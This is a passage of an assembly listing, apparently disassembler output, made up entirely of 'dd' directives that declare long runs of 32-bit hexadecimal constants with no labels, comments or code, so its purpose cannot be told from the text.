		dd 818BD904h, 1EB19A48h, 93B3C3C3h, 6A50CDF8h, 15535512h
		dd 0A564E0h, 1F0A035Fh,	27DEC8BDh, 0B3F3D27h, 5AB80218h
		dd 212CFABBh, 45BBC35Fh, 49AB3FD4h, 65136407h, 234C2FE7h
		dd 87D03BDh, 0F9F0F8B1h, 0DC24ABE8h, 8A08C8AFh,	553405B9h
		dd 43C81D3h, 917E13A5h,	0A0F4F6C4h, 0C3441880h,	2E5BB9CEh
		dd 1381B040h, 0A685183Ch, 16A2C810h, 8114344Eh,	0DCD8D4h
		dd 3EA3274Dh, 9796E39h,	0F262FE38h, 0C4714C71h,	0EB980C18h
		dd 576AA804h, 3CF11472h, 0A025DADDh, 0B42EA9C3h, 0F140ECh
		dd 0D0B3358Fh, 4C05B0BFh, 0C2DC9050h, 9B8C96Bh,	808037A8h
		dd 0ECF966BDh, 0C5041A07h, 78517984h, 1E3CE4h, 8F7E5081h
		dd 0B1B76734h, 87694003h, 2D86820h, 83BE2249h, 8A6079CEh
		dd 60006D36h, 1029D493h, 243FA8D0h, 4008FDFFh, 4D14EC40h
		dd 5043D76h, 0CD7F3C7Eh, 605868B8h, 84AD6810h, 8560A5Ah
		dd 0FB93E424h, 0ACB55063h, 0B8B212h, 0EC18E4D8h, 2FEBDB7h
		dd 6DD2681Eh, 0E4621B7Eh, 8775840h, 8A42F496h, 11A008E0h
		dd 67FC80BBh, 426453E2h, 591C009h, 0E48C868h, 612B2ACFh
		dd 5BD641A0h, 68C406AAh, 0DC37FC9Fh, 4B275339h,	7DA801CEh
		dd 54259B94h, 0A61E4441h, 0C85C8315h, 28A100A4h, 90D3C319h
		dd 0C50B29BCh, 47C4BD80h, 613F5F25h, 0A45C5868h, 0C8FC455Bh
		dd 440A197h, 245CF16Fh,	33F2349h, 0B0A1AF44h, 10A23C23h
		dd 3E695E30h, 8681E85Dh, 494DDD5h, 1814724Dh, 4EF1CFF3h
		dd 72394CD0h, 20DE2E00h, 9C86808Ch, 0C667EC0Ch,	438898B7h
		dd 43E33AA6h, 1330F9E2h, 27CE099Eh, 9C6808FFh, 3F84B330h
		dd 2C4C5992h, 6A295B13h, 0BFFF1044h, 27A11A84h,	102F87B4h
		dd 909F05EBh, 0DE8688ABh, 9AB18FBh, 0E19B0488h,	54F6D000h
		dd 4648CF8Bh, 0DC9AA194h, 72895303h, 30722EB6h,	0B2440CCh
		dd 7D6981CBh, 13FE0040h, 6F747932h, 25212446h, 0A89809F4h
		dd 0D815A059h, 0E1D406C8h, 0A1C9F2h, 469A8532h,	6C921119h
		dd 0F7D29400h, 0A08DC404h, 0CDB012CFh, 18F2F9h,	52719B3Ah
		dd 0A7C416h, 0B9E3FCB1h, 7F14C0DAh, 0C61C83B0h,	14246CD9h
		dd 0FC4674h, 76AA15C8h,	0B930442h, 0D182511Bh, 0CAE880E0h
		dd 80740A59h, 48D29967h, 58C09476h, 990FA005h, 40D33123h
		dd 35114213h, 74B09433h, 6900A346h, 0EB946F6Ah,	0A501F62Fh
		dd 0FE59D8CFh, 9028AB45h, 0ACDBF212h, 0C467DEE8h, 9C9A521Ch
		dd 42A19DDEh, 7FC5D313h, 7B8088AEh, 0C91DE055h,	366FC9C0h
		dd 0CDC22B7h, 4860B1BDh, 690093E9h, 56C29F08h, 0B9A42E4Bh
		dd 0C555478Ch, 0C598D0B6h, 974E3F48h, 725204C0h, 1B74FF8h
		dd 3C4990Ch, 0D8433F45h, 0E125F1C6h, 12A3727h, 0E3C54EF4h
		dd 0E4496103h, 86008C02h, 0B7109AE0h, 5A69CF1h,	1BBB2C4h
		dd 300400BDh, 4C1A7A4Ah, 0CC134F09h, 35A4006Dh,	714BF6h
		dd 0F9A9F1A6h, 0C0994ECEh, 0D1D2B41Eh, 23F42794h, 9962010Fh
		dd 0E8E48CDh, 999B0200h, 0DC681B6Ah, 2749F406h,	0B8FE3Bh
		dd 70F1C8A5h, 0D6484E51h, 0CB1DBB18h, 98E139h, 1501F91h
		dd 0F7778E45h, 0E839FC02h, 6CA9CD67h, 87320FCh,	0CAA5200h
		dd 0CB2C7472h, 7F8A44Dh, 0E0D3F2A1h, 9B718569h,	0E235C074h
		dd 0E8D8E0h, 0DEF07F64h, 6C1F5EE1h, 9C319807h, 0E215074Ch
		dd 2E3B90F1h, 0FC4233Ch, 75E0F00Ch, 0F14F516Ah,	9C5CF24Ah
		dd 90BD6D41h, 0BF701471h, 0EBB71CBBh, 0F90DC01Bh, 447DFF69h
		dd 3D0CF75Dh, 49118555h, 8C540B4Fh, 219D7418h, 6EEF41ECh
		dd 0E11FC0h, 525BCA13h,	0EC54F14Dh, 0C48B765Ah,	70C2B5C8h
		dd 9E684076h, 448180BFh, 0F0F59726h, 5EA2D302h,	3CF8C815h
		dd 4BB55BCFh, 0A4C81E38h, 7008188h, 53BE0506h, 1D5AC27Ah
		dd 0C6A1C451h, 58A2B6ABh, 0E4C69E25h, 15B41D54h, 61A50095h
		dd 0DDDCA21Fh, 7ECBA58h, 0B6874309h, 8EF6E0DEh,	0EA64C402h
		dd 9A79077Fh, 2A69D50Fh, 0C0529C88h, 0A7DFD81h,	0DB014B29h
		dd 6AE2CFDAh, 3C30C5FFh, 0C085CD4h, 69349178h, 0D1807C37h
		dd 9A065E46h, 7A4B05E3h, 23F4D523h, 4CC811F8h, 0FE1D45C5h
		dd 747E8ACFh, 0F4A84F05h, 74821BDBh, 86D330F3h,	0B1576912h
		dd 14C0C0A2h, 945686BCh, 25E78C58h, 5C1CC877h, 17500084h
		dd 65CEBEC9h, 721F7AB6h, 0DE1F0341h, 269F066h, 20B6738h
		dd 46726DDh, 5860B444h,	0B63CD9F6h, 0A5AFADA9h,	8CA8707Ch
		dd 4AA4084h, 1CA8CBDCh,	4C8CC7BCh, 5A0753F4h, 87A5F5A7h
		dd 0C09FA013h, 2600A270h, 0DEE672C7h, 75F1690h,	0A5D3A6D9h
		dd 8B7575C2h, 0C0A1C83Ch, 50FA2AAFh, 545A498h, 0C3BC9038h
		dd 8979008Ch, 9DE80CDh,	0DCF7EC04h, 0F34F7173h,	3D82A4D4h
		dd 97164037h, 82A40992h
		dd 0A402B84Eh, 0C2254904h, 5116A4C2h, 1CE9A7A4h, 78203B76h
		dd 5C73C160h, 0F71374B9h, 2C60C80Fh, 3D9E040h, 574C359Ch
		dd 0D805CBFFh, 0FB176FF5h, 4FC10480h, 30094C77h, 8ECADE81h
		dd 2E3E9Fh, 0A3030E23h,	0AAAE0844h, 7E00E2BAh, 10467470h
		dd 28B99B00h, 0F9FD7A61h, 0FC63B628h, 66A2B309h, 1338F8C1h
		dd 6EF21CC2h, 178800D0h, 854A6F41h, 96691CC3h, 0DAD984F0h
		dd 8FD58h, 324F67A5h, 1355154Ah, 4A19FECh, 0CE6E8Ch, 5ACCC29Eh
		dd 8C85CDAh, 485F70A0h,	44E9372Dh, 6AB400F4h, 0B274D122h
		dd 0E4B6164Eh, 0B89AF113h, 1C0130C0h, 0D9086B13h, 0D3C879h
		dd 0EEC1E141h, 0FF044835h, 0CD039CA7h, 88768CB2h, 0B2F3FA9h
		dd 14ACA2E2h, 13E00ADEh, 0CC70806Bh, 10487773h,	5FC90620h
		dd 18258Fh, 0E167A607h,	0DA0CACCBh, 0EC42565Bh,	564AB2D4h
		dd 81D68660h, 0E10099ACh, 0E34E5470h, 121B8955h, 0B2CCCE80h
		dd 15410FA8h, 9837A1A9h, 5180FE77h, 0B4B34A35h,	0A0049778h
		dd 0B06822FBh, 900284ADh, 0D6CF9480h, 0DE435500h, 9CC4A3A5h
		dd 1898D8B8h, 6B81AFF6h, 247C3472h, 30A0AAB3h, 4FB2D218h
		dd 25EACA88h, 0CCC1D9A8h, 0E400FE8Bh, 24A20F05h, 9FACC246h
		dd 20302882h, 5C22BEF2h, 70B090C1h, 5C49828Fh, 88EC7C7Ch
		dd 0FD49668h, 3EE17218h, 28765ABBh, 34C5282Ch, 0A8AA0FE8h
		dd 0CAFA7C82h, 0A4D9A702h, 305303A0h, 83FA8F80h, 3C541201h
		dd 18793857h, 7C4499D5h, 42DB19C0h, 81F60213h, 0D056EA9Ch
		dd 0FF74FC7Ch, 0DCF0EA18h, 274E4C0Fh, 0A7F0D91Fh, 19604B7Bh
		dd 7E80A481h, 9709E2FEh, 80C11174h, 0C18859Ch, 0CFBB04ECh
		dd 0F1D34F48h, 0E7789644h, 0B6235C2Fh, 27C66505h, 1652ECA4h
		dd 18D5D72h, 0AAB4DE8Ch, 463F7Ah, 938CCEDh, 9632749h, 0E347052h
		dd 16BF3098h, 0A2B4E3E0h, 0E0AD30B3h, 6D7E2909h, 2058E4C4h
		dd 7617E463h, 30E4C928h, 4DAD4033h, 0CB27E805h,	488934Fh
		dd 662388FDh, 6A5F6D03h, 0B72FC1C4h, 6098933Fh,	0FB770054h
		dd 0A07CAF89h, 2DF1A591h, 0DA7B009Ch, 5A9EAE1Dh, 32510768h
		dd 0E94B560Ch, 0CE714050h, 0A8CD0A0Ch, 16C75942h, 0F4DA6B27h
		dd 7090C078h, 0DC50A060h, 50833C80h, 0B0285CB2h, 33742060h
		dd 7C725613h, 51C59C87h, 45D18CC6h, 0C741C4F7h,	0F60EA00Fh
		dd 0CB48E097h, 1EF7B508h, 0BF5404E8h, 549F58F7h, 28CF8E8h
		dd 0E597CB32h, 8446823Ch, 5CE080B5h, 0BF4CDD0Fh, 0A5BB9C10h
		dd 0A0B94803h, 8B029371h, 7E381388h, 7790AC1Bh,	109DF5E8h
		dd 92A88A10h, 18A922D4h, 0B858E849h, 27B090BFh,	2822FBE3h
		dd 0E4E491C9h, 2AF80720h, 5CF8FA76h, 0BE29C87Dh, 42A12BCh
		dd 17350E18h, 0C9AB1820h, 843C038Eh, 0D206D590h, 44EAB3A8h
		dd 0E0C1302Eh, 4BBF408h, 0ACA3F3F8h, 18CB4E2Ch,	813BA3DFh
		dd 5B6D4708h, 26D8BC46h, 76B50227h, 0B492513Dh,	3F13CCD0h
		dd 0B008D5C2h, 4C7CB8A9h, 0C04E1D80h, 25A357C4h, 4002094Bh
		dd 2CE874Ch, 884845F3h,	0E82859DEh, 0D44028B8h,	0B3E0408Eh
		dd 8F4A4225h, 90F39640h, 0B60C5721h, 6FBE68FEh,	3D2528C6h
		dd 42A85DCBh, 0CC131E3Bh, 1808E891h, 0D0990965h, 0B0656648h
		dd 999DFF81h, 0CC473F93h, 3F221778h, 39C62304h,	0B297F582h
		dd 4843E0E3h, 0C40A11EAh, 6F80102Eh, 0CB84FBBEh, 2FF09968h
		dd 4BFAAC40h, 0FD948160h, 17136E14h, 0CBB03CD6h, 0C2B5C874h
		dd 18600413h, 882147Eh,	4A0038B0h, 89469495h, 7DD1F9E0h
		dd 0C8BDC855h, 1A1F5DB8h, 53021BBEh, 0B09EABh, 0A270CBE4h
		dd 2F23333Fh, 50E497h, 0DDF3F66Bh, 0C954F02Ch, 4A45080Ah
		dd 4674E0ECh, 69B800BEh, 505EAFE0h, 0F32D1D41h,	0EF788798h
		dd 5F5164F9h, 0E9718C3h, 23FBD39Ch, 601B5E8h, 1453F868h
		dd 8BB08468h, 1600680Fh, 7180893Bh, 4B725701h, 0D9E00AD5h
		dd 805A3CB4h, 0FB4C8124h, 70C1CC4Eh, 65606DF6h,	764F045Eh
		dd 0ECFD590Fh, 0B6821014h, 2C459E2Fh, 7F63F9C4h, 0CF0749C0h
		dd 0C16C2B5Ch, 44825873h, 3207870h, 72539ACAh, 0A8029EEEh
		dd 0A06E574Dh, 710CE068h, 0CF2B7h, 0D4BA8BE0h, 17918944h
		dd 58D99A02h, 87EECAABh, 58D068h, 25188CB5h, 68B196BDh
		dd 6C0AC780h, 4E073FEBh, 0C03C87A7h, 4AC9C398h,	9F8DA5Dh
		dd 58FE947Fh, 5B5709D8h, 8C567092h, 0B10711Ah, 78887AE8h
		dd 0BC723511h, 7FD8D010h, 81F17B24h, 9AAB5588h,	5889F412h
		dd 0E4702B2Ch, 679FBD0Eh, 1C09B6CDh, 0FCC41Ah, 94157DBCh
		dd 39B8F5B2h, 3F3C4103h, 11E97677h, 50DE7BB8h, 0E4876788h
		dd 934D60A7h, 2113012Ah, 0E4F19AF8h, 0A463D1h, 7EBA4F0Eh
		dd 4E0456h, 218A60Dh, 2FD3688Dh, 79993F14h, 0DC82249Ch
		dd 0DA69B684h, 0EC855043h, 2BE325E0h, 0FC1BBF00h, 36A3C347h
		dd 0D9260007h, 64FE509Ch, 284E7259h, 0F6C2C882h, 600E6B24h
		dd 0CEAFB568h, 64CF5CA4h, 8681F988h, 504B1A78h,	596C20h
		dd 5775439Ch, 90B0A0BDh, 5AC72707h, 0A3D4A7B4h,	6EC8A0A8h
		dd 7B4FC182h, 10FCFAFFh, 8877980Ah, 63B4804Dh, 3CAA536Dh
		dd 0E7711B2Fh, 62B64440h, 13D0C07Eh, 71F1830Eh,	41D0ADF0h
		dd 883CEC28h, 0E1F57718h, 15F404C6h, 0F2D59207h, 8F904F4Ch
		dd 739A6053h, 0F72E2FABh, 0FA6400C7h, 11915A60h, 58236EE3h
		dd 0FAD9E7B8h, 7B7400D8h, 4B1FB6FCh, 1CB86690h,	8B72F83Ch
		dd 702AAF0Bh, 451800D0h, 0AAD3FBF0h, 0A892B28Ah, 3124784Ch
		dd 3C7D599Eh, 0CC64D8D5h, 1771205Bh, 0E9004EEEh, 75D935DCh
		dd 74A5AE0h, 48B5DD74h,	70431957h, 4BBC8084h, 14137F91h
		dd 0D4F0F12Ah, 0E44082BDh, 4C92A77Dh, 0A0E8B648h, 2959B70Dh
		dd 25B4CB10h, 7A505CA3h, 0C7184862h, 0AE0C41C0h, 0A3939810h
		dd 10E5420Fh, 0F88B16D6h, 52C7B4C8h, 0F3A11050h, 0CF9F060Ch
		dd 99C6447Dh, 5642B509h, 0CBD469C9h, 73CD2701h,	33B3E218h
		dd 0FA0D7EF8h, 4247309Ch, 3DD66B50h, 0F4C75CABh, 4E11A894h
		dd 59177FACh, 8422A320h, 425804D9h, 0DE82CD9Bh,	6BE28198h
		dd 0F14C7E02h, 9CE848CBh, 4BE10640h, 482004A9h,	67FCC0E3h
		dd 75167170h, 6891F2F1h, 0DDC0D71Ah, 7B5800C4h,	0CF536E42h
		dd 360B5171h, 4DF25AFEh, 0BAF260A4h, 0F80C502Ch, 2843EACFh
		dd 7A93E037h, 0D0695A97h, 7121CA8Ch, 0EB177D07h, 0AB807F80h
		dd 13EA6426h, 0E468B698h, 2200E6C0h, 0B97A232h,	7CFA03h
		dd 388DDC3Eh, 7842AA9Ah, 105D0127h, 445B5FE4h, 79127F0Ah
		dd 14879BF3h, 11B46F81h, 0F8D8842Eh, 8C0FECD4h,	7AA9B200h
		dd 3E0CF946h, 0DCB0E0h,	0C607F0DEh, 0DF7B2748h,	24EA549Ch
		dd 69800411h, 4648D499h, 3C05C91h, 0B7B9962h, 1F76A29Dh
		dd 0FF1F0F9h, 56009018h, 0A27299C3h, 7F64E9Bh, 0CB367FA5h
		dd 58E88003h, 0B0BF2Dh,	57B08E7h, 499A357h, 0E97CE8F4h
		dd 0C42731EEh, 0A32D53A1h, 7E88838Eh, 1158A276h, 0D01213F7h
		dd 0E2559E4Bh, 32F00463h, 80DDBE49h, 0A54C0FCBh, 4849384Eh
		dd 84D4744Fh, 0C1C5685Fh, 888D2C3Ch, 203FDB0h, 0C663347Dh
		dd 10203458h, 9CB0C235h, 0F85EC467h, 44F85AA5h,	14B14CEFh
		dd 6536A102h, 0DBFE63A5h, 4825F08Eh, 9960175h, 0BC69847Bh
		dd 2F9460F4h, 7751D362h, 0CA0AF28h, 38E49B0h, 0F8B64041h
		dd 0C4904275h, 3B01A11Eh, 2AF53690h, 2F7A6135h,	8C77C4h
		dd 4196838Ch, 48448E26h, 3933F12h, 0DBA63C00h, 246129C7h
		dd 24063D08h, 35A0B938h, 947C3045h, 18CC5BCh, 1121D447h
		dd 0CCC8A0DAh, 3525CCB7h, 0E4EC4588h, 0FB4F61A3h, 12C516F8h
		dd 0B4ABCCB9h, 0B325F1ECh, 0CEFCA15Ah, 3E10DA69h, 7400476Ah
		dd 4C793028h, 3653A4Eh,	0C0D8DD4Bh, 0AEB2551Fh,	0CF2CBCD0h
		dd 0BA14680Ah, 67FD804Ch, 8C6C53FBh, 790A544h, 0D1856806h
		dd 9546F0EBh, 66F261A8h, 0F320DD64h, 0AF0044FDh, 5B620F1Ch
		dd 2049157h, 0B39DDE81h, 642458F8h, 0C1A86230h,	911C1D5Dh
		dd 809481F8h, 0B462CB34h, 0B24E5400h, 7AA58609h, 66E6840Ch
		dd 0C20668C5h, 0F987B439h, 30964F1h, 0B0D8FA41h, 2964A10h
		dd 0CB131D1Ch, 0B85409h, 5170A458h, 4F124E35h, 2802F71Bh
		dd 0FC6134E3h, 0A1465EFCh, 649EFF00h, 0F74F4843h, 0F00251D6h
		dd 2276DD4Ch, 909A1B5Ah, 0D48C7Ch, 0BD0B7AB6h, 0B4A84502h
		dd 266CEE4Ch, 86030E1h,	868C43h, 0B76EEA5Fh, 678ECE5Ah
		dd 35751AE8h, 70566226h, 0EF072A11h, 0F36CCFEDh, 7D80E34Eh
		dd 0CC17AEC5h, 2CF67A5Bh, 0A24BCB16h, 0E0207F4Ch, 78EA0FD5h
		dd 6AE07DDEh, 4F44DB9Dh, 99B7CC03h, 993116AEh, 6AFF69h
		dd 0D77BD418h, 1F7B5ECBh, 2BBA650Bh, 40205EDBh,	4F4C3251h
		dd 0D2EFA425h, 0E4684AD8h, 210046B8h, 176F713Eh, 0A9758Eh
		dd 0DDE85881h, 6314F9FBh, 0CC431200h, 6B4E5F70h, 7FFF059Dh
		dd 2DD6CD0h, 10A5E0F4h,	0C5E930FEh, 60C3646Ch, 47208D3h
		dd 0EAE42AADh, 6738E062h, 0B67F7E00h, 9E591540h, 2D8B061h
		dd 0A34ED8BDh, 94DC0CC0h, 0E749FD47h, 60C064ACh, 77BA963h
		dd 4DEE5550h, 0C9434435h, 26547304h, 0FF5E0874h, 0CD0E7518h
		dd 0E2776F0Fh, 51F8EAE3h, 8EA58774h, 0DF2792F0h, 4F35ECE4h
		dd 8080A1F1h, 98ABDCFBh, 0C3071328h, 0B32488FFh, 3DD069D0h
		dd 0DD1B841Fh, 2491BC5Ah, 402F4ACBh, 9721A0A4h,	5D2D2099h
		dd 52C64C0h, 0F37C619Ah, 0F56CD071h, 4062F76Eh,	22A8B048h
		dd 5621D64Eh, 0C42814AAh, 40CE3450h, 340AE712h,	94C95794h
		dd 9B954A01h, 3C100968h, 0BBEA7FCCh, 6920C864h,	0CBBC84B8h
		dd 596D048Ch, 0CCA28472h, 128B4E00h, 0A9D32360h, 4DEDDFE0h
		dd 0A973C0E4h, 0C81F191Bh, 43C139A0h, 125B5336h, 8FA4C12h
		dd 2B402A04h, 24BEB289h, 9020AB9Ch, 1FA9F4E2h, 0E7816F3h
		dd 5D0144BAh, 70FAB610h, 4309BF40h, 0A0800264h,	56D17E50h
		dd 777F2FE0h, 0B255C8A7h, 54093CDh, 0A05E945Ah,	0B3C8848Eh
		dd 1170A2C7h, 1F44828Ch, 0C21E2206h, 9F664B53h,	4A00907Ah
		dd 6AEF958Eh, 302B6760h, 8FD9D3F2h, 7D285DF8h, 0D200F743h
		dd 1C17099Eh, 95F7C608h, 70B0A866h, 8C02720h, 0C22A54D9h
		dd 0FC40833Bh, 7C9A0529h, 41589C99h, 0DD97AC53h, 7180E701h
		dd 0A912275Bh, 344B774Fh, 0B68C4456h, 0B3465EB0h, 69770402h
		dd 0C0E180A9h, 9FD501D1h, 1C2D46F1h, 6A5AD309h,	1D2FFC58h
		dd 0A2D893FDh, 0AADC0408h, 0A4024025h, 0D1C0E682h, 9C7D843Ch
		dd 1C8AC2Bh, 48D0109Ah,	9B2BBBCEh, 85E483E8h, 1C51BFADh
		dd 0EBF57E96h, 161C206Bh, 650741FBh, 81049113h,	5074FE0h
		dd 577D0B01h, 0D44E60F1h, 79849A71h, 806C43A6h,	9CA80869h
		dd 0A88EBFA7h, 472B6B20h, 829FFF57h, 563E28ECh,	42A44838h
		dd 780BE032h, 0E0B24144h, 1997D056h, 1C499A40h,	3096C8DDh
		dd 25E8E031h, 5084565Ah, 0C09042AFh, 0F4D3CE7Fh, 534A406Ch
		dd 4C1038A8h, 4F157FBFh, 26E0E7DDh, 0BB08A835h,	99D9000Ah
		dd 963B5612h, 2860CD49h, 0E0957C44h, 2F4F8364h,	0A4EC12A3h
		dd 0A1D95A30h, 0E13F3747h, 668C612Bh, 25BD70CDh, 8A9C20A5h
		dd 6CC8D693h, 206288E4h, 0A0FD540h, 0C2019A0Bh,	58D9C170h
		dd 1FC20872h, 4933D67Eh, 54502B57h, 0A819AB2Ah,	4BC6748h
		dd 0CE111395h, 0B850CCh, 27B0A1F1h, 0E5520FE6h,	2CDB63Ch
		dd 0AB53FA36h, 0CEE0A056h, 0FF7455F4h, 69CF0h, 28D25C80h
		dd 1FCC6E75h, 8942EC00h, 0BED899E0h, 7021C096h,	521D0F08h
		dd 0F442FC00h, 99D17FAFh, 25807510h, 4868A19Dh,	0C107C61Fh
		dd 0C846C378h, 66D99B81h, 38F96CC8h, 82071891h,	1080877Fh
		dd 0F8D40268h, 299A130Eh, 8EA00C2h, 0B6D9A33Dh,	1E9F04E0h
		dd 0E250A02Ch, 0A6D060F1h, 0AAE864F8h, 0A5A9C600h, 0AD15D047h
		dd 0A19125CAh, 70260848h, 2A612CB0h, 90B37E11h,	2AB236F4h
		dd 62DC7A4Dh, 0DB4F10D9h, 4FB5120h, 248973DDh, 8580743Fh
		dd 69279FBDh, 1F25C928h, 0CC82F80Ch, 0CF204558h, 0C65400DFh
		dd 0C91CB0EAh, 0CDE8BF74h, 2C90A94Bh, 1515A048h, 40DD70F7h
		dd 0CD0AB6A0h, 0F3A010B7h, 7FE72CB5h, 2C5801D0h, 11DA0603h
		dd 88B9576h, 20936DDCh,	1D3C6BA5h, 59F04CB2h, 0B59E67B0h
		dd 0CA30902Dh, 42563428h, 8005F096h, 0EAB600DAh, 77682518h
		dd 0D0CFDBFDh, 0D7C0BEBDh, 5190C37Eh, 4898511Dh, 3D23BC1Eh
		dd 5359D961h, 0A2F29853h, 0CB084047h, 91BA624Dh, 20E83522h
		dd 23BD4003h, 21068B48h, 59116FA9h, 4AD9A802h, 78C4ABCDh
		dd 0DA0B3F0Bh, 0B08180BAh, 22FD624h, 0C83E1DFEh, 704834DCh
		dd 0A1789D8h, 0E4082678h, 365883C5h, 0BBE255BFh, 486F2099h
		dd 404D69BCh, 63B61254h, 0C8C09C12h, 7C9A6BBEh,	0B70435FDh
		dd 72100208h, 957FCD0Ch, 188FD024h, 79260CB0h, 0C909606Fh
		dd 4C848FA5h, 40881097h, 6040CFD0h, 82C6278h, 99029063h
		dd 28ED026Bh, 2937502h,	0CB037701h, 204010CEh, 62743871h
		dd 2244410h, 20EB465Fh,	253E6910h, 0F4512A37h, 88C6043Ah
		dd 840E406h, 54B9E662h,	0A0A80F47h, 1816810Ch, 109F63BFh
		dd 20192D6Fh, 2C085D9Dh, 14AFF11h, 2888DCD8h, 7D0869FDh
		dd 79030C8Ah, 87808CD1h, 0A428CCC3h, 1562A7A1h,	2CF0B68h
		dd 6F035C40h, 0A81018D6h, 3FDC08BFh, 113618C6h,	0C1802030h
		dd 4580B354h, 0C4169C40h, 4394319h, 19063CBAh, 58B00885h
		dd 0C46808C6h, 0B86E2A28h, 8A26ED4h, 0C8266CEBh, 72FA10CDh
		dd 81BBC980h, 4B699592h, 0A11B33F0h, 2D611096h,	2E10194Dh
		dd 88C89F1h, 1728DE23h,	0B408CA65h, 6F57FC44h, 65B2004h
		dd 2020D826h, 0F8208D33h, 0A7B23198h, 8CA17418h, 182F9008h
		dd 7DC040A4h, 648C1950h, 0C007B1CAh, 1B757988h,	91EC8178h
		dd 282D02Ch, 0A280A698h, 73223161h, 8C846E18h, 18D9FD08h
		dd 600C62C1h, 61029721h, 0A3D50340h, 0C6882019h, 0BC518208h
		dd 6301208Eh, 45A2011Fh, 8C5FB601h, 30BCA108h, 8A462AAh
		dd 6049441Eh, 14088833h, 0B0210A3Bh, 1063999Ch,	2B69882Fh
		dd 3831083Ah, 158C2408h, 0F73AE468h, 0A0A93FC0h, 74BC24A1h
		dd 4F20CC63h, 100810D2h, 3C0324D0h, 830EB8Ch, 1071CC09h
		dd 91C6AD41h, 620823CEh, 9AE1893Eh, 286F702h, 94820811h
		dd 1F036CC8h, 49101004h, 0D8E42A64h, 10741231h,	889655Ch
		dd 5C28A947h, 325188F0h, 831A80Ch, 18AA6693h, 1F328959h
		dd 49135810h, 0F051DB9Ch, 0C00199B1h, 0C420920Fh, 235F4449h
		dd 20FF3CB4h, 657DA6F9h, 0CCC92A80h, 0C2394B10h, 3C9051DFh
		dd 7ED13F31h, 73189DD7h, 0DB363160h, 17B3C10h, 8982781h
		dd 1B93E933h, 0E8950C6h, 0C8E2008h, 0F4FCB955h,	775BC63Dh
		dd 40D30040h, 0B5B093F9h, 816CF487h, 80AD7C11h,	0AEEC2010h
		dd 21FDA7Fh, 0E11553B6h, 80E93199h, 625F0F5h, 0BE205A00h
		dd 1C6B13CEh, 0BC7E014Eh, 0D8E84708h, 58B86324h, 0B2150098h
		dd 55E50D3Bh, 1E330CC1h
		dd 0A9509B3Ah, 0D950FD01h, 299C4BA6h, 1674A1B9h, 404C76BBh
		dd 4B8726B8h, 42009871h, 86A5C1BFh, 2BB5D2h, 115563BCh
		dd 0BD67F3A6h, 1DE0CAFCh, 605EE330h, 384ABFDh, 403F0CFh
		dd 59886EEDh, 81B7C521h, 4F3B6924h, 0A99D8C40h,	0ED410570h
		dd 0D2631EE2h, 84F449F8h, 1086380Ch, 385562E4h,	74DC84EAh
		dd 9245300h, 2DBF63Fh, 76AEA57Dh, 808E12ECh, 3200C5EFh
		dd 5EB4A2BBh, 0EEA6E100h, 0F35AFE22h, 0B0B76034h, 4EA76E0Eh
		dd 0C0B6DE00h, 7F260712h, 8086062h, 404A579Fh, 0F4DC0F2Ch
		dd 51C52240h, 0FE0825B4h, 406488h, 0F39DAF15h, 0DE78AAA8h
		dd 2B69D101h, 0C39C06Eh, 3055509Bh, 3520A6D8h, 0B392C207h
		dd 0C8401DABh, 0E85756E1h, 10C01450h, 6200CCDDh, 4DC56959h
		dd 0F4042996h, 0C18835F3h, 7618B013h, 60E1023Ch, 0E51D68F0h
		dd 53C61F23h, 7748B098h, 0ECA9B4A6h, 0C4A8404Eh, 767BEA48h
		dd 0DD189D60h, 14DBAEFEh, 0B4290F1Dh, 4506D16Fh, 41291070h
		dd 0F0E800Eh, 0BBBF81B9h, 0C5240BCh, 18C072DAh,	3882831Dh
		dd 0BC7C7FDBh, 0DC59F915h, 1CC3A98h, 1E5F01EFh,	618011E5h
		dd 0C68E4DF7h, 1F04B77Ch, 0E971F3FCh, 84004094h, 0FA092BC9h
		dd 46573A9Bh, 0BACFF30Ah, 0DA2A40E0h, 682FC6A0h, 4D68C1A3h
		dd 37696820h, 70A0D917h, 0C404757h, 6740E4A6h, 1DF380CCh
		dd 5E50CB62h, 44D26Ch, 0D7DBF93Fh, 0F0AEAF1Eh, 6B207490h
		dd 0F0567E92h, 0DE28A004h, 0A1239039h, 246C9F58h, 8F1CD303h
		dd 77A0101Eh, 58C22C17h, 0AA865A33h, 0B0A308F0h, 6DA8803Bh
		dd 181E0BCEh, 0B890AB85h, 11C43B7h, 0F84056C8h,	25F0F3h
		dd 2A60950h, 3C9D98B3h,	9C46DFDBh, 122E8520h, 19064BEAh
		dd 0BFC038h, 7AD632h, 786E0F9Dh, 692627BDh, 88BE5A30h
		dd 60747767h, 0B96FB057h, 0FD032066h, 485EE6D3h, 9B65E0BAh
		dd 0D5F50680h, 6801951Dh, 4F184278h, 98814ECBh,	0A6498019h
		dd 7A08ACF0h, 7C34DF3h,	833DB5F5h, 0C80032ABh, 99EB1C5Eh
		dd 140A262h, 0D6014719h, 0D11E0D6Ch, 0F441004Dh, 92B80B08h
		dd 0C083CD63h, 1907DFA5h, 75889877h, 0B82B2C4Fh, 688531ACh
		dd 0F1DDFDE0h, 65BBDCB9h, 83E79CA3h, 287C9C2Bh,	5EEF480Ah
		dd 6941FC6Ah, 8440ECD2h, 3EA0AFB7h, 4C008F8Ch, 41F3BAC4h
		dd 0D79D004h, 0B788300h, 8646B472h, 0E8DA019Dh,	82561A5Eh
		dd 0B769C097h, 0A170516Eh, 9686657h, 3B01FC68h,	8A88A5A3h
		dd 0B244F060h, 0A9CE900Eh, 873400E3h, 67E063h, 0CB84F541h
		dd 0F4779DF1h, 0E4910576h, 3F895CA3h, 0AE5804F7h, 5CDE84C1h
		dd 647D188Ch, 0F8920440h, 0CC80A516h, 8D31020h,	0D8D75011h
		dd 0F86540F1h, 498BA00h, 7FF60A94h, 0F7AE0CB5h,	1D51F140h
		dd 9D0BAF2Ch, 13744B0Bh, 2277D91Ch, 1872419Dh, 1561807h
		dd 0F02A9C90h, 6A1EF412h, 9809DA5h, 1E02F2A9h, 1848B271h
		dd 98E43769h, 800F87CCh, 745EAEBDh, 1A8C4CCh, 10706480h
		dd 6A7301Eh, 0B3329938h, 0BF49A00h, 0EB812777h,	60A500D4h
		dd 1DE81F5Ch, 37006F4Ch, 0A62692E5h, 257D0h, 9F4BC08Ah
		dd 7C9D8189h, 71561E1Bh, 0DAEDC050h, 0EF975CB6h, 34E0132Dh
		dd 9E000A51h, 646F265Fh, 0C4B420F8h, 9494DF9h, 6740F47h
		dd 101360h, 0DBD0FAC5h,	92C555Eh, 0B61E6918h, 309EBBE0h
		dd 1C088AD6h, 8F015B71h, 0DBF38046h, 0CD54503h,	0E9A0E8B0h
